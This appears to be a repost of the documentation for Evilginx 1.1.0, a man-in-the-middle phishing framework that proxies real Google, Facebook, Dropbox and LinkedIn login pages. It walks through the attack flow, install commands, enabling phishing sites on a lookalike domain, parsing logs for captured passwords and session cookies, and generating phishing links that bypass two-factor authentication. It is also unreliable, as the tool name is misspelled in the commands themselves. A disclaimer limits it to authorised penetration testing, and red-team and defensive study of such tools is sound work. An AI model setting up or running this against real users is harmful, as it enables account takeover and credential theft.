Evilginx - Phishing Attack Framework with 2FA Bypass

About Evilnigx 1.1.0 - Phishing Attack Framework with Two-factor Authentication Bypass
   Evilginx is a man-in-the-middle attack framework used for phishing credentials and session cookies of any web service. It's core runs on Nginx HTTP server, which utilizes proxy_pass and sub_filter to proxy and modify HTTP content, while intercepting traffic between client and server.

   You can learn how it works and how to install everything yourself on my blog:
    * First post slightly outdated now: Evilginx - Advanced Phishing With Two-factor Authentication Bypass
    * Evilginx 1.0 Update: Evilginx 1.0 Update - Up Your Game in 2FA Phishing
    * Evilginx 1.1 Update: Evilginx 1.1 Update

How Evilngix 1.1.0 works?
1, Attacker generates a phishing link pointing to his server running Evilginx: https://accounts.notreallygoogle.com/ServiceLogin?rc=https://www.youtube.com/watch?v=dQw4w9WgXcQ&rt=LSID

   Parameters in the URL stand for:
   rc = On successful sign-in, victim will be redirected to this link e.g. document hosted on Google Drive.
   rt = This is the name of the session cookie which is set in the browser only after successful sign-in. If this cookie is detected, this will be an indication for Evilginx that sign-in was successful and the victim can be redirected to URL supplied by rc parameter.

2, Victim receives attacker's phishing link via any available communication channel (email, messenger etc.).

3, Victim clicks the link and is presented with Evilginx's proxied Google sign-in page.

4, Victim enters his/her valid account credentials, progresses through two-factor authentication challenge (if enabled) and he/she is redirected to URL specified by rc parameter. At this point rd cookie is saved for notreallygoogle.com domain in victim's browser. From now on, if this cookie is present, he/she will be immediately redirected to rc URL, when phishing link is re-opened.

5, Attacker now has victim's email and password, as well as session cookies that can be imported into attacker's browser in order to take full control of the logged in session, bypassing any two-factor authentication protections enabled on victim's account.
Let's take few steps back and try to define main obstacles in traditional phishing efforts.

   First and major pain with phishing for credentials is Two-Factor Authentication. You can create the best looking template that yields you dozens of logins and passwords, but you will eventually get roadblocked when asked for verification token that arrived via SMS. Not only will it stop you from progressing further, but it will also tip off the account owner, when they receive login attempt alert.

   Second issue with phishing templates is, they must allow to accept any login and password, as they have no means of confirming their validity. That will, at times, leave you with invalid credentials.

   Third issue is having to create phishing templates. Kuba Gretzky don't know about you, but for him the process of copying site layout, stripping javascript, fixing CSS and writing my own replacements for stripped javascript code to make the login screen behave as the original, is extremely annoying. It feels bad to recreate something, which has already been done.

   In past several months Kuba Gretzky has worked on his own ettercap-like HTTP proxy software written in C++, using Boost::Asio library for maximum efficiency. Kuba Gretzky implemented SSLstrip, DNS spoofing and HSTS bypass. This solution worked perfectly in Local Area Network, but he wondered if same ideas could be repurposed for remote phishing, without a need to use custom-made software.

   Kuba Gretzky had a revelation when he read an excellent blog post by @i_bo0om. @i_bo0om used Nginx HTTP server's proxy_pass feature and sub_filter module to proxy the real Telegram login page to visitors, intercepting credentials and session cookies on-the-fly using Man-In-The-Middle attacks. This article made me realize that Nginx could be used as a proxy for external servers and it sparked the idea of Evilginx. The idea was perfect - simple and yet effective.

   Allow Kuba Gretzky to talk a bit on Evilginx's research process, before him focus on installation and usage.

Disclaimer about Evilngix 1.1.0 - Phishing Attack Framework with Two-factor Authentication Bypass
   I am aware that Evilginx can be used for very nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration, when setting up defenses, and find ways to protect against this phishing method. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.

Contributors Hall of Fame: @poweroftrue

Install and Run Evilnigx 1.1.0:
   sudo su
   git clone https://github.com/kgretzky/evilginx
   cd evilnigx
   bash install.sh
   python evilnigx.py

Using Evilngix 1.1.0
   Enable or disable site configurations for use with Nginx server, using supplied Evilginx templates from sites directory.
usage: evilginx.py setup [-h] [-d DOMAIN] [-y]
                         (-l | --enable ENABLE | --disable DISABLE)

optional arguments:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Your phishing domain.
  -y                    Answer all questions with 'Yes'.
  -l, --list            List available supported apps.
  --enable ENABLE       Enable following site by name.
  --disable DISABLE     Disable following site by name.

   List available site configuration templates:
python evilginx.py setup -l

Listing available supported sites:

 - dropbox (/root/evilginx/sites/dropbox/config)
   subdomains: www
 - google (/root/evilginx/sites/google/config)
   subdomains: accounts, ssl
 - facebook (/root/evilginx/sites/facebook/config)
   subdomains: www, m
 - linkedin (/root/evilginx/sites/linkedin/config)
   subdomains: www

   Enable google phishing site with preregistered phishing domain not-really-google.com:
      python evilginx.py setup --enable google -d not-really-google.com

   Disable facebook phishing site: python evilginx.py setup --disable facebook

   Parse
      Parse Nginx logs to extract intercepted login credentials and session cookies. Logs, by default, are saved in logs directory, where evilginx.py script resides. This can be done automatically after you enable auto-parsing in the Setup phase.
usage: evilginx.py parse [-h] -s SITE [--debug]

optional arguments:
  -h, --help            show this help message and exit
  -s SITE, --site SITE  Name of site to parse logs for ('all' to parse logs
                        for all sites).
  --debug               Does not truncate log file after parsing.

      Parse logs only for google site: python evilginx.py parse -s google
      Parse logs for all available sites: python evilginx.py parse -s all

   Generate URL
      Generate phishing URLs that you can use in your Red Team Assessments.
usage: evilginx.py genurl [-h] -s SITE -r REDIRECT

optional arguments:
  -h, --help            show this help message and exit
  -s SITE, --site SITE  Name of site to generate link for.
  -r REDIRECT, --redirect REDIRECT
                        Redirect user to this URL after successful sign-in.

      Generate google phishing URL that will redirect victim to rick'roll video on successful login:
python evilginx.py genurl -s google -r https://www.youtube.com/watch?v=dQw4w9WgXcQ

Generated following phishing URLs:

 : https://accounts.not-really-google.com/ServiceLogin?rc=0aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ
 : https://accounts.not-really-google.com/signin/v2/identifier?rc=0aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g_dj1kUXc0dzlXZ1hjUQ

Video demo of Evilginx 1.1.0 - Phishing Attack Framework with 2FA Bypass: https://vimeo.com/212463675

Download Evilngix 1.1.0: https://github.com/kgretzky/evilginx